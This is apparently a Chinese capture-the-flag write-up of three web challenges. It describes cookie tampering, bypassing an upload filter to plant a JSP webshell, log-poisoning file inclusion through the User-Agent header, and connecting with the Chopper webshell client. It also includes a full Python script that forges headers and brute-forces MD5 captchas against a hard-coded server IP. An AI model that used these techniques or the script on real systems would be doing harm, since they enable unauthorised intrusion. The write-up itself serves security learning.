三道质量不高的Web题目
simple upload
- 修改cookie:admin=1登录
- 上传点更改文件类型
image/jpeg
,上传木马 - 发现报错页面是tomcat,上传jsp一句话
- 上菜刀,根目录找到flag
shopping log
通过提示加上三个请求头:
"Accept-Language": "ja",
"Referer":"www.DWW.com",
"Host":"www.tmvb.com"
得到一个检查四位单号的页面,验证码需要爆破md5,这里为了不验证错过采用了递归,脚本如下:
import requests,re,hashlib,sys
global s
s=requests.Session()
headers = {
"Accept-Language": "ja",
"Referer":"www.DWW.com",
"Host":"www.tmvb.com"
}
url1="http://123.59.141.153/5a560e50e61b552d34480017c7877467info.php"
url2="http://123.59.141.153/api.php?action=report"
def check(c):
for j in range(10000000):
fd = hashlib.md5()
fd.update(str(j))
x = fd.hexdigest()
if(x[0:6] == c):
return j
def send(num):
print "[+]send the "+str(num)+" requests"
a=s.get(url=url1,headers=headers)
b = re.search(r"=== '(.*?)'",a.content, flags=0)
code=b.group(1)
realcode=check(code)
data={
"TxtTid":str(num).zfill(4),
"code" : str(realcode)
}
print "[+]"+str(data)
result = s.post(url=url2,headers=headers,data=data)
if "Code" in result.content:
print "[-]resending......"
return send(num)
else:
return result.content
for i in range(9587,9589):
print "[+]"+str(send(i))
提示应倒着爆破,最终尝试到9588返回flag
biubiubiu
有点迷的一道题,登录上去的访问网页的输入框研究半天,请求打到自己服务器上没发现什么多余的,回头看文件包含。尝试包含了nginx配置文件成功:
/etc/nginx/nginx.conf
尝试包含日志成功
/var/log/nginx/access.log
- 因为本题是i春秋的环境,日志过大直接重新创建环境
- 思路非常清楚了,在UA里写一句话,然后菜刀连文件包含的日志
- getshell以后找到config,flag在数据库里。
- 这里有个要注意的是先打phpinfo,发现是php7,于是换用php7的菜刀